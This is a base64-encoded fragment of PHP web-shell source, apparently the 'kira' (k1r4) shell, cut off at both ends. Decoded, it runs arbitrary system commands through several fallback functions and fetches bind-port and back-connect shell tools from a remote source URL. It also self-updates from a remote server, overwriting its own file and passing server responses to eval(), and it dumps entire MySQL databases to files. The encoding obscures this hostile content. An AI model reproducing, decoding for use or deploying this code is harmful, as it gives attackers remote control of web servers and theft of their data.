4gJGNvbnRlbnQ7fQp9Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInZpZXdfc2l6ZSIpKQp7CmZ1bmN0aW9uIHZpZXdfc2l6ZSgkc2l6ZSkKewogaWYgKCFpc19udW1lcmljKCRzaXplKSkge3JldHVybiBGQUxTRTt9CiBlbHNlCiB7CiAgaWYgKCRzaXplID49IDEwNzM3NDE4MjQpIHskc2l6ZSA9IHJvdW5kKCRzaXplLzEwNzM3NDE4MjQqMTAwKS8xMDAgLiIgR0IiO30KICBlbHNlaWYgKCRzaXplID49IDEwNDg1NzYpIHskc2l6ZSA9IHJvdW5kKCRzaXplLzEwNDg1NzYqMTAwKS8xMDAgLiIgTUIiO30KICBlbHNlaWYgKCRzaXplID49IDEwMjQpIHskc2l6ZSA9IHJvdW5kKCRzaXplLzEwMjQqMTAwKS8xMDAgLiIgS0IiO30KICBlbHNlIHskc2l6ZSA9ICRzaXplIC4gIiBCIjt9CiAgcmV0dXJuICRzaXplOwogfQp9Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImZzX2NvcHlfZGlyIikpCnsKZnVuY3Rpb24gZnNfY29weV9kaXIoJGQsJHQpCnsKICRkID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCRkKTsKIGlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30KICRoID0gb3BlbmRpcigkZCk7CiB3aGlsZSAoKCRvID0gcmVhZGRpcigkaCkpICE9PSBGQUxTRSkKIHsKICBpZiAoKCRvICE9ICIuIikgYW5kICgkbyAhPSAiLi4iKSkKICB7CiAgIGlmICghaXNfZGlyKCRkLkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pKSB7JHJldCA9IGNvcHkoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbywkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKTt9CiAgIGVsc2UgeyRyZXQgPSBta2RpcigkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKTsgZnNfY29weV9kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbywkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKTt9CiAgIGlmICghJHJldCkge3JldHVybiAkcmV0O30KICB9CiB9CiBjbG9zZWRpcigkaCk7CiByZXR1cm4gVFJVRTsKfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19jb3B5X29iaiIpKQp7CmZ1bmN0aW9uIGZzX2NvcHlfb2JqKCRkLCR0KQp7CiAkZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7CiAkdCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkdCk7CiBpZiAoIWlzX2RpcihkaXJuYW1lKCR0KSkpIHtta2RpcihkaXJuYW1lKCR0KSk7fQogaWYgKGlzX2RpcigkZCkpCiB7CiAgaWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQogIGlmIChzdWJzdHIoJHQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskdCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30KICByZXR1cm4gZnNfY29weV9kaXIoJGQsJHQpOwogfQogZWxzZWlmIChpc19maWxlKCRkKSkge3JldHVybiBjb3B5KCRkLCR0KTt9CiBlbHNlIHtyZXR1cm4gRkFMU0U7fQp9Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImZzX21vdmVfZGlyIikpCnsKZnVuY3Rpb24gZnNfbW92ZV9kaXIoJGQsJHQpCnsKICRoID0gb3BlbmRpcigkZCk7CiBpZiAoIWlzX2RpcigkdCkpIHtta2RpcigkdCk7fQogd2hpbGUgKCgkbyA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpCiB7CiAgaWYgKCgkbyAhPSAiLiIpIGFuZCAoJG8gIT0gIi4uIikpCiAgewogICAkcmV0ID0gVFJVRTsKICAgaWYgKCFpc19kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbykpIHskcmV0ID0gY29weSgkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvLCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pO30KICAgZWxzZSB7aWYgKG1rZGlyKCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pIGFuZCBmc19jb3B5X2RpcigkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvLCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pKSB7JHJldCA9IEZBTFNFO319CiAgIGlmICghJHJldCkge3JldHVybiAkcmV0O30KICB9CiB9CiBjbG9zZWRpcigkaCk7CiByZXR1cm4gVFJVRTsKfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19tb3ZlX29iaiIpKQp7CmZ1bmN0aW9uIGZzX21vdmVfb2JqKCRkLCR0KQp7CiAkZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7CiAkdCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkdCk7CiBpZiAoaXNfZGlyKCRkKSkKIHsKICBpZiAoc3Vic3RyKCRkLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9CiAgaWYgKHN1YnN0cigkdCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyR0IC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQogIHJldHVybiBmc19tb3ZlX2RpcigkZCwkdCk7CiB9CiBlbHNlaWYgKGlzX2ZpbGUoJGQpKQogewogIGlmKGNvcHkoJGQsJHQpKSB7cmV0dXJuIHVubGluaygkZCk7fQogIGVsc2Uge3VubGluaygkdCk7IHJldHVybiBGQUxTRTt9CiB9CiBlbHNlIHtyZXR1cm4gRkFMU0U7fQp9Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImZzX3JtZGlyIikpCnsKZnVuY3Rpb24gZnNfcm1kaXIoJGQpCnsKICRoID0gb3BlbmRpcigkZCk7CiB3aGlsZSAoKCRvID0gcmVhZGRpcigkaCkpICE9PSBGQUxTRSkKIHsKICBpZiAoKCRvICE9ICIuIikgYW5kICgkbyAhPSAiLi4iKSkKICB7CiAgIGlmICghaXNfZGlyKCRkLiRvKSkge3VubGluaygkZC4kbyk7fQogICBlbHNlIHtmc19ybWRpcigkZC4kby5ESVJFQ1RPUllfU0VQQVJBVE9SKTsgcm1kaXIoJGQuJG8pO30KICB9CiB9CiBjbG9zZWRpcigkaCk7CiBybWRpcigkZCk7CiByZXR1cm4gIWlzX2RpcigkZCk7Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfcm1vYmoiKSkKewpmdW5jdGlvbiBmc19ybW9iaigkbykKewogJG8gPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJG8pOwogaWYgKGlzX2RpcigkbykpCiB7CiAgaWYgKHN1YnN0cigkbywtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRvIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQogIHJldHVybiBmc19ybWRpcigkbyk7CiB9CiBlbHNlaWYgKGlzX2ZpbGUoJG8pKSB7cmV0dXJuIHVubGluaygkbyk7fQogZWxzZSB7cmV0dXJuIEZBTFNFO30KfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNoZWxsZXhlYyIpKQp7CmZ1bmN0aW9uIG15c2hlbGxleGVjKCRjbWQpCnsKIGdsb2JhbCAkZGlzYWJsZWZ1bmM7CiAkcmVzdWx0ID0gIiI7CiBpZiAoIWVtcHR5KCRjbWQpKQogewogIGlmIChpc19jYWxsYWJsZSgiZXhlYyIpIGFuZCAhaW5fYXJyYXkoImV4ZWMiLCRkaXNhYmxlZnVuYykpIHtleGVjKCRjbWQsJHJlc3VsdCk7ICRyZXN1bHQgPSBqb2luKCJcbiIsJHJlc3VsdCk7fQogIGVsc2VpZiAoKCRyZXN1bHQgPSBgJGNtZGApICE9PSBGQUxTRSkge30KICBlbHNlaWYgKGlzX2NhbGxhYmxlKCJzeXN0ZW0iKSBhbmQgIWluX2FycmF5KCJzeXN0ZW0iLCRkaXNhYmxlZnVuYykpIHskdiA9IEBvYl9nZXRfY29udGVudHMoKTsgQG9iX2NsZWFuKCk7IHN5c3RlbSgkY21kKTsgJHJlc3VsdCA9IEBvYl9nZXRfY29udGVudHMoKTsgQG9iX2NsZWFuKCk7IGVjaG8gJHY7fQogIGVsc2VpZiAoaXNfY2FsbGFibGUoInBhc3N0aHJ1IikgYW5kICFpbl9hcnJheSgicGFzc3RocnUiLCRkaXNhYmxlZnVuYykpIHskdiA9IEBvYl9nZXRfY29udGVudHMoKTsgQG9iX2NsZWFuKCk7IHBhc3N0aHJ1KCRjbWQpOyAkcmVzdWx0ID0gQG9iX2dldF9jb250ZW50cygpOyBAb2JfY2xlYW4oKTsgZWNobyAkdjt9CiAgZWxzZWlmIChpc19yZXNvdXJjZSgkZnAgPSBwb3BlbigkY21kLCJyIikpKQogIHsKICAgJHJlc3VsdCA9ICIiOwogICB3aGlsZSghZmVvZigkZnApKSB7JHJlc3VsdCAuPSBmcmVhZCgkZnAsMTAyNCk7fQogICBwY2xvc2UoJGZwKTsKICB9CiB9CiByZXR1cm4gJHJlc3VsdDsKfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJ0YWJzb3J0IikpIHtmdW5jdGlvbiB0YWJzb3J0KCRhLCRiKSB7Z2xvYmFsICR2OyByZXR1cm4gc3RybmF0Y21wKCRhWyR2XSwgJGJbJHZdKTt9fQppZiAoIWZ1bmN0aW9uX2V4aXN0cygidmlld19wZXJtcyIpKQp7CmZ1bmN0aW9uIHZpZXdfcGVybXMoJG1vZGUpCnsKIGlmICgoJG1vZGUgJiAweEMwMDApID09PSAweEMwMDApIHskdHlwZSA9ICJzIjt9CiBlbHNlaWYgKCgkbW9kZSAmIDB4NDAwMCkgPT09IDB4NDAwMCkgeyR0eXBlID0gImQiO30KIGVsc2VpZiAoKCRtb2RlICYgMHhBMDAwKSA9PT0gMHhBMDAwKSB7JHR5cGUgPSAibCI7fQogZWxzZWlmICgoJG1vZGUgJiAweDgwMDApID09PSAweDgwMDApIHskdHlwZSA9ICItIjt9CiBlbHNlaWYgKCgkbW9kZSAmIDB4NjAwMCkgPT09IDB4NjAwMCkgeyR0eXBlID0gImIiO30KIGVsc2VpZiAoKCRtb2RlICYgMHgyMDAwKSA9PT0gMHgyMDAwKSB7JHR5cGUgPSAiYyI7fQogZWxzZWlmICgoJG1vZGUgJiAweDEwMDApID09PSAweDEwMDApIHskdHlwZSA9ICJwIjt9CiBlbHNlIHskdHlwZSA9ICI/Ijt9CgogJG93bmVyWyJyZWFkIl0gPSAoJG1vZGUgJiAwMDQwMCk/InIiOiItIjsKICRvd25lclsid3JpdGUiXSA9ICgkbW9kZSAmIDAwMjAwKT8idyI6Ii0iOwogJG93bmVyWyJleGVjdXRlIl0gPSAoJG1vZGUgJiAwMDEwMCk/IngiOiItIjsKICRncm91cFsicmVhZCJdID0gKCRtb2RlICYgMDAwNDApPyJyIjoiLSI7CiAkZ3JvdXBbIndyaXRlIl0gPSAoJG1vZGUgJiAwMDAyMCk/InciOiItIjsKICRncm91cFsiZXhlY3V0ZSJdID0gKCRtb2RlICYgMDAwMTApPyJ4IjoiLSI7CiAkd29ybGRbInJlYWQiXSA9ICgkbW9kZSAmIDAwMDA0KT8iciI6Ii0iOwogJHdvcmxkWyJ3cml0ZSJdID0gKCRtb2RlICYgMDAwMDIpPyAidyI6Ii0iOwogJHdvcmxkWyJleGVjdXRlIl0gPSAoJG1vZGUgJiAwMDAwMSk/IngiOiItIjsKCiBpZiAoJG1vZGUgJiAweDgwMCkgeyRvd25lclsiZXhlY3V0ZSJdID0gKCRvd25lclsiZXhlY3V0ZSJdID09ICJ4Iik/InMiOiJTIjt9CiBpZiAoJG1vZGUgJiAweDQwMCkgeyRncm91cFsiZXhlY3V0ZSJdID0gKCRncm91cFsiZXhlY3V0ZSJdID09ICJ4Iik/InMiOiJTIjt9CiBpZiAoJG1vZGUgJiAweDIwMCkgeyR3b3JsZFsiZXhlY3V0ZSJdID0gKCR3b3JsZFsiZXhlY3V0ZSJdID09ICJ4Iik/InQiOiJUIjt9CgogcmV0dXJuICR0eXBlLmpvaW4oIiIsJG93bmVyKS5qb2luKCIiLCRncm91cCkuam9pbigiIiwkd29ybGQpOwp9Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgYW5kICFpbl9hcnJheSgicG9zaXhfZ2V0cHd1aWQiLCRkaXNhYmxlZnVuYykpIHtmdW5jdGlvbiBwb3NpeF9nZXRwd3VpZCgkdWlkKSB7cmV0dXJuIEZBTFNFO319CmlmICghZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRncmdpZCIpIGFuZCAhaW5fYXJyYXkoInBvc2l4X2dldGdyZ2lkIiwkZGlzYWJsZWZ1bmMpKSB7ZnVuY3Rpb24gcG9zaXhfZ2V0Z3JnaWQoJGdpZCkge3JldHVybiBGQUxTRTt9fQppZiAoIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfa2lsbCIpIGFuZCAhaW5fYXJyYXkoInBvc2l4X2tpbGwiLCRkaXNhYmxlZnVuYykpIHtmdW5jdGlvbiBwb3NpeF9raWxsKCRnaWQpIHtyZXR1cm4gRkFMU0U7fX0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBhcnNlX3Blcm1zIikpCnsKZnVuY3Rpb24gcGFyc2VfcGVybXMoJG1vZGUpCnsKIGlmICgoJG1vZGUgJiAweEMwMDApID09PSAweEMwMDApIHskdCA9ICJzIjt9CiBlbHNlaWYgKCgkbW9kZSAmIDB4NDAwMCkgPT09IDB4NDAwMCkgeyR0ID0gImQiO30KIGVsc2VpZiAoKCRtb2RlICYgMHhBMDAwKSA9PT0gMHhBMDAwKSB7JHQgPSAibCI7fQogZWxzZWlmICgoJG1vZGUgJiAweDgwMDApID09PSAweDgwMDApIHskdCA9ICItIjt9CiBlbHNlaWYgKCgkbW9kZSAmIDB4NjAwMCkgPT09IDB4NjAwMCkgeyR0ID0gImIiO30KIGVsc2VpZiAoKCRtb2RlICYgMHgyMDAwKSA9PT0gMHgyMDAwKSB7JHQgPSAiYyI7fQogZWxzZWlmICgoJG1vZGUgJiAweDEwMDApID09PSAweDEwMDApIHskdCA9ICJwIjt9CiBlbHNlIHskdCA9ICI/Ijt9CiAkb1siciJdID0gKCRtb2RlICYgMDA0MDApID4gMDsgJG9bInciXSA9ICgkbW9kZSAmIDAwMjAwKSA+IDA7ICRvWyJ4Il0gPSAoJG1vZGUgJiAwMDEwMCkgPiAwOwogJGdbInIiXSA9ICgkbW9kZSAmIDAwMDQwKSA+IDA7ICRnWyJ3Il0gPSAoJG1vZGUgJiAwMDAyMCkgPiAwOyAkZ1sieCJdID0gKCRtb2RlICYgMDAwMTApID4gMDsKICR3WyJyIl0gPSAoJG1vZGUgJiAwMDAwNCkgPiAwOyAkd1sidyJdID0gKCRtb2RlICYgMDAwMDIpID4gMDsgJHdbIngiXSA9ICgkbW9kZSAmIDAwMDAxKSA+IDA7CiByZXR1cm4gYXJyYXkoInQiPT4kdCwibyI9PiRvLCJnIj0+JGcsInciPT4kdyk7Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygicGFyc2Vzb3J0IikpCnsKZnVuY3Rpb24gcGFyc2Vzb3J0KCRzb3J0KQp7CiAkb25lID0gaW50dmFsKCRzb3J0KTsKICRzZWNvbmQgPSBzdWJzdHIoJHNvcnQsLTEpOwogaWYgKCRzZWNvbmQgIT0gImQiKSB7JHNlY29uZCA9ICJhIjt9CiByZXR1cm4gYXJyYXkoJG9uZSwkc2Vjb25kKTsKfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJ2aWV3X3Blcm1zX2NvbG9yIikpCnsKZnVuY3Rpb24gdmlld19wZXJtc19jb2xvcigkbykKewogaWYgKCFpc19yZWFkYWJsZSgkbykpIHtyZXR1cm4gIjxmb250IGNvbG9yPXJlZD4iLnZpZXdfcGVybXMoZmlsZXBlcm1zKCRvKSkuIjwvZm9udD4iO30KIGVsc2VpZiAoIWlzX3dyaXRhYmxlKCRvKSkge3JldHVybiAiPGZvbnQgY29sb3I9d2hpdGU+Ii52aWV3X3Blcm1zKGZpbGVwZXJtcygkbykpLiI8L2ZvbnQ+Ijt9CiBlbHNlIHtyZXR1cm4gIjxmb250IGNvbG9yPWdyZWVuPiIudmlld19wZXJtcyhmaWxlcGVybXMoJG8pKS4iPC9mb250PiI7fQp9Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImsxcjRnZXRzb3VyY2UiKSkKewpmdW5jdGlvbiBrMXI0Z2V0c291cmNlKCRmbikKewogZ2xvYmFsICRrMXI0X3NvdXJjZXN1cmw7CiAkYXJyYXkgPSBhcnJheSgKICAiazFyNF9iaW5kcG9ydC5wbCIgPT4gImsxcjRfYmluZHBvcnRfcGwudHh0IiwKICAiazFyNF9iaW5kcG9ydC5jIiA9PiAiazFyNF9iaW5kcG9ydF9jLnR4dCIsCiAgImsxcjRfYmFja2Nvbm4ucGwiID0+ICJrMXI0X2JhY2tjb25uX3BsLnR4dCIsCiAgImsxcjRfYmFja2Nvbm4uYyIgPT4gImsxcjRfYmFja2Nvbm5fYy50eHQiLAogICJrMXI0X2RhdGFwaXBlLnBsIiA9PiAiazFyNF9kYXRhcGlwZV9wbC50eHQiLAogICJrMXI0X2RhdGFwaXBlLmMiID0+ICJrMXI0X2RhdGFwaXBlX2MudHh0IiwKICk7CiAkbmFtZSA9ICRhcnJheVskZm5dOwogaWYgKCRuYW1lKSB7cmV0dXJuIGZpbGVfZ2V0X2NvbnRlbnRzKCRrMXI0X3NvdXJjZXN1cmwuJG5hbWUpO30KIGVsc2Uge3JldHVybiBGQUxTRTt9Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygiazFyNF9nZXR1cGRhdGUiKSkKewpmdW5jdGlvbiBrMXI0X2dldHVwZGF0ZSgkdXBkYXRlID0gVFJVRSkKewogJHVybCA9ICRHTE9CQUxTWyJrMXI0X3VwZGF0ZXVybCJdLiI/dmVyc2lvbj0iLnVybGVuY29kZShiYXNlNjRfZW5jb2RlKCRHTE9CQUxTWyJzaHZlciJdKSkuIiZ1cGRhdGVub3c9Ii4oJHVwZGF0ZW5vdz8iMSI6IjAiKS4iJiI7CiAkZGF0YSA9IEBmaWxlX2dldF9jb250ZW50cygkdXJsKTsKIGlmICghJGRhdGEpIHtyZXR1cm4gIkNhbid0IGNvbm5lY3QgdG8gdXBkYXRlLXNlcnZlciEiO30KIGVsc2UKIHsKICAkZGF0YSA9IGx0cmltKCRkYXRhKTsKICAkc3RyaW5nID0gc3Vic3RyKCRkYXRhLDMsb3JkKCRkYXRhezJ9KSk7CiAgaWYgKCRkYXRhezB9ID09ICJceDk5IiBhbmQgJGRhdGF7MX0gPT0gIlx4MDEiKSB7cmV0dXJuICJFcnJvcjogIi4kc3RyaW5nOyByZXR1cm4gRkFMU0U7fQogIGlmICgkZGF0YXswfSA9PSAiXHg5OSIgYW5kICRkYXRhezF9ID09ICJceDAyIikge3JldHVybiAiWW91IGFyZSB1c2luZyBsYXRlc3QgdmVyc2lvbiEiO30KICBpZiAoJGRhdGF7MH0gPT0gIlx4OTkiIGFuZCAkZGF0YXsxfSA9PSAiXHgwMyIpCiAgewogICAkc3RyaW5nID0gZXhwbG9kZSgiXHgwMSIsJHN0cmluZyk7CiAgIGlmICgkdXBkYXRlKQogICB7CiAgICAkY29uZnZhcnMgPSBhcnJheSgpOwogICAgJHNvdXJjZXVybCA9ICRzdHJpbmdbMF07CiAgICAkc291cmNlID0gZmlsZV9nZXRfY29udGVudHMoJHNvdXJjZXVybCk7CiAgICBpZiAoISRzb3VyY2UpIHtyZXR1cm4gIkNhbid0IGZldGNoIHVwZGF0ZSEiO30KICAgIGVsc2UKICAgIHsKICAgICAkZnAgPSBmb3BlbihfX0ZJTEVfXywidyIpOwogICAgIGlmICghJGZwKSB7cmV0dXJuICJMb2NhbCBlcnJvcjogY2FuJ3Qgd3JpdGUgdXBkYXRlIHRvICIuX19GSUxFX18uIiEgWW91IG1heSBkb3dubG9hZCBraXJhLnBocCBtYW51YWxseSA8YSBocmVmPVwiIi4kc291cmNldXJsLiJcIj48dT5oZXJlPC91PjwvYT4uIjt9CiAgICAgZWxzZSB7ZndyaXRlKCRmcCwkc291cmNlKTsgZmNsb3NlKCRmcCk7IHJldHVybiAiVGhhbmtzISBVcGRhdGVkIHdpdGggc3VjY2Vzcy4iO30KICAgIH0KICAgfQogICBlbHNlIHtyZXR1cm4gIk5ldyB2ZXJzaW9uIGFyZSBhdmFpbGFibGU6ICIuJHN0cmluZ1sxXTt9CiAgfQogIGVsc2VpZiAoJGRhdGF7MH0gPT0gIlx4OTkiIGFuZCAkZGF0YXsxfSA9PSAiXHgwNCIpIHtldmFsKCRzdHJpbmcpOyByZXR1cm4gMTt9CiAgZWxzZSB7cmV0dXJuICJFcnJvciBpbiBwcm90b2NvbDogc2VnbWVudGF0aW9uIGZhaWxlZCEgKCIuJGRhdGEuIikgIjt9CiB9Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfZHVtcCIpKQp7CmZ1bmN0aW9uIG15c3FsX2R1bXAoJHNldCkKewogZ2xvYmFsICRzaHZlcjsKICRzb2NrID0gJHNldFsic29jayJdOwogJGRiID0gJHNldFsiZGIiXTsKICRwcmludCA9ICRzZXRbInByaW50Il07CiAkbmwyYnIgPSAkc2V0WyJubDJiciJdOwogJGZpbGUgPSAkc2V0WyJmaWxlIl07CiAkYWRkX2Ryb3AgPSAkc2V0WyJhZGRfZHJvcCJdOwogJHRhYnMgPSAkc2V0WyJ0YWJzIl07CiAkb25seXRhYnMgPSAkc2V0WyJvbmx5dGFicyJdOwogJHJldCA9IGFycmF5KCk7CiAkcmV0WyJlcnIiXSA9IGFycmF5KCk7CiBpZiAoIWlzX3Jlc291cmNlKCRzb2NrKSkge2VjaG8oIkVycm9yOiBcJHNvY2sgaXMgbm90IHZhbGlkIHJlc291cmNlLiIpO30KIGlmIChlbXB0eSgkZGIpKSB7JGRiID0gImRiIjt9CiBpZiAoZW1wdHkoJHByaW50KSkgeyRwcmludCA9IDA7fQogaWYgKGVtcHR5KCRubDJicikpIHskbmwyYnIgPSAwO30KIGlmIChlbXB0eSgkYWRkX2Ryb3ApKSB7JGFkZF9kcm9wID0gVFJVRTt9CiBpZiAoZW1wdHkoJGZpbGUpKQogewogICRmaWxlID0gJHRtcGRpci4iZHVtcF8iLmdldGVudigiU0VSVkVSX05BTUUiKS4iXyIuJGRiLiJfIi5kYXRlKCJkLW0tWS1ILWktcyIpLiIuc3FsIjsKIH0KIGlmICghaXNfYXJyYXkoJHRhYnMpKSB7JHRhYnMgPSBhcnJheSgpO30KIGlmIChlbXB0eSgkYWRkX2Ryb3ApKSB7JGFkZF9kcm9wID0gVFJVRTt9CiBpZiAoc2l6ZW9mKCR0YWJzKSA9PSAwKQogewogIC8vIHJldHJpdmUgdGFibGVzLWxpc3QKICAkcmVzID0gbXlzcWxfcXVlcnkoIlNIT1cgVEFCTEVTIEZST00gIi4kZGIsICRzb2NrKTsKICBpZiAobXlzcWxfbnVtX3Jvd3MoJHJlcykgPiAwKSB7d2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9yb3coJHJlcykpIHskdGFic1tdID0gJHJvd1swXTt9fQogfQogJG91dCA9ICIjIER1bXBlZCBieSBraXJhLlNRTCB2LiAiLiRzaHZlci4iCiMgSG9tZSBwYWdlOiBodHRwOi8vZ29vZ2xlLmNvbQojCiMgSG9zdCBzZXR0aW5nczoKIyBNeVNRTCB2ZXJzaW9uOiAoIi5teXNxbF9nZXRfc2VydmVyX2luZm8oKS4iKSBydW5uaW5nIG9uICIuZ2V0ZW52KCJTRVJWRVJfQUREUiIpLiIgKCIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiIpIi4iCiMgRGF0ZTogIi5kYXRlKCJkLm0uWSBIOmk6cyIpLiIKIyBEQjogXCIiLiRkYi4iXCIKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoiOwogJGMgPSBjb3VudCgkb25seXRhYnMpOwogZm9yZWFjaCgkdGFicyBhcyAkdGFiKQogewogIGlmICgoaW5fYXJyYXkoJHRhYiwkb25seXRhYnMpKSBvciAoISRjKSkKICB7CiAgIGlmICgkYWRkX2Ryb3ApIHskb3V0IC49ICJEUk9QIFRBQkxFIElGIEVYSVNUUyBgIi4kdGFiLiJgO1xuIjt9CiAgIC8vIHJlY2lldmUgcXVlcnkgZm9yIGNyZWF0ZSB0YWJsZSBzdHJ1Y3R1cmUKICAgJHJlcyA9IG15c3FsX3F1ZXJ5KCJTSE9XIENSRUFURSBUQUJMRSBgIi4kdGFiLiJgIiwgJHNvY2spOwogICBpZiAoISRyZXMpIHskcmV0WyJlcnIiXVtdID0gbXlzcWxfc21hcnRlcnJvcigpO30KICAgZWxzZQogICB7CiAgICAkcm93ID0gbXlzcWxfZmV0Y2hfcm93KCRyZXMpOwogICAgJG91dCAuPSAkcm93WyIxIl0uIjtcblxuIjsKICAgIC8vIHJlY2lldmUgdGFibGUgdmFyaWFibGVzCiAgICAkcmVzID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gYCR0YWJgIiwgJHNvY2spOwogICAgaWYgKG15c3FsX251bV9yb3dzKCRyZXMpID4gMCkKICAgIHsKICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2Fzc29jKCRyZXMpKQogICAgIHsKICAgICAgJGtleXMgPSBpbXBsb2RlKCJgLCBgIiwgYXJyYXlfa2V5cygkcm93KSk7CiAgICAgICR2YWx1ZXMgPSBhcnJheV92YWx1ZXMoJHJvdyk7CiAgICAgIGZvcmVhY2goJHZhbHVlcyBhcyAkaz0+JHYpIHskdmFsdWVzWyRrXSA9IGFkZHNsYXNoZXMoJHYpO30KICAgICAgJHZhbHVlcyA9IGltcGxvZGUoIicsICciLCAkdmFsdWVzKTsKICAgICAgJHNxbCA9ICJJTlNFUlQgSU5UTyBgJHRhYmAoYCIuJGtleXMuImApIFZBTFVFUyAoJyIuJHZhbHVlcy4iJyk7XG4iOwogICAgICAkb3V0IC49ICRzcWw7CiAgICAgfQogICAgfQogICB9CiAgfQogfQogJG91dCAuPSAiIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxuXG4iOwogaWYgKCRmaWxlKQogewogICRmcCA9IGZvcGVuKCRmaWxlLCAidyIpOwogIGlmICghJGZwKSB7JHJldFsiZXJyIl1bXSA9IDI7fQogIGVsc2UKICB7CiAgIGZ3cml0ZSAoJGZwLCAkb3V0KTsKICAgZmNsb3NlICgkZnApOwogIH0KIH0KIGlmICgkcHJpbnQpIHtpZiAoJG5sMmJyKSB7ZWNobyBubDJicigkb3V0KTt9IGVsc2Uge2VjaG8gJG91dDt9fQogcmV0dXJuICRvdXQ7Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfYnVpbGR3aGVyZSIpKQp7CmZ1bmN0aW9uIG15c3FsX2J1aWxkd2hlcmUoJGFycmF5LCRzZXA9IiBhbmQiLCRmdW5jdHM9YXJyYXkoKSkKewogaWYgKCFpc19hcnJheSgkYXJyYXkpKSB7JGFycmF5ID0gYXJyYXkoKTt9CiAkcmVzdWx0ID0gIiI7CiBmb3JlYWNoKCRhcnJheSBhcyAkaz0+JHYpCiB7CiAgJHZhbHVlID0gIiI7CiAgaWYgKCFlbXB0eSgkZnVuY3RzWyRrXSkpIHskdmFsdWUgLj0gJGZ1bmN0c1ska10uIigiO30KICAkdmFsdWUgLj0gIiciLmFkZHNsYXNoZXMoJHYpLiInIjsKICBpZiAoIWVtcHR5KCRmdW5jdHNbJGtdKSkgeyR2YWx1ZSAuPSAiKSI7fQogICRyZXN1bHQgLj0gImAiLiRrLiJgID0gIi4kdmFsdWUuJHNlcDsKIH0KICRyZXN1bHQgPSBzdWJzdHIoJHJlc3VsdCwwLHN0cmxlbigkcmVzdWx0KS1zdHJsZW4oJHNlcCkpOwogcmV0dXJuICRyZXN1bHQ7Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfZmV0Y2hfYWxsIikpCnsKZnVuY3Rpb24gbXlzcWxfZmV0Y2hfYWxsKCRxdWVyeSwkc29jaykKewogaWYgKCRzb2NrKSB7JHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSwkc29jayk7fQogZWxzZSB7JHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSk7fQogJGFycmF5ID0gYXJyYXkoKTsKIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHskYXJyYXlbXSA9ICRyb3c7fQogbXlzcWxfZnJlZV9yZXN1bH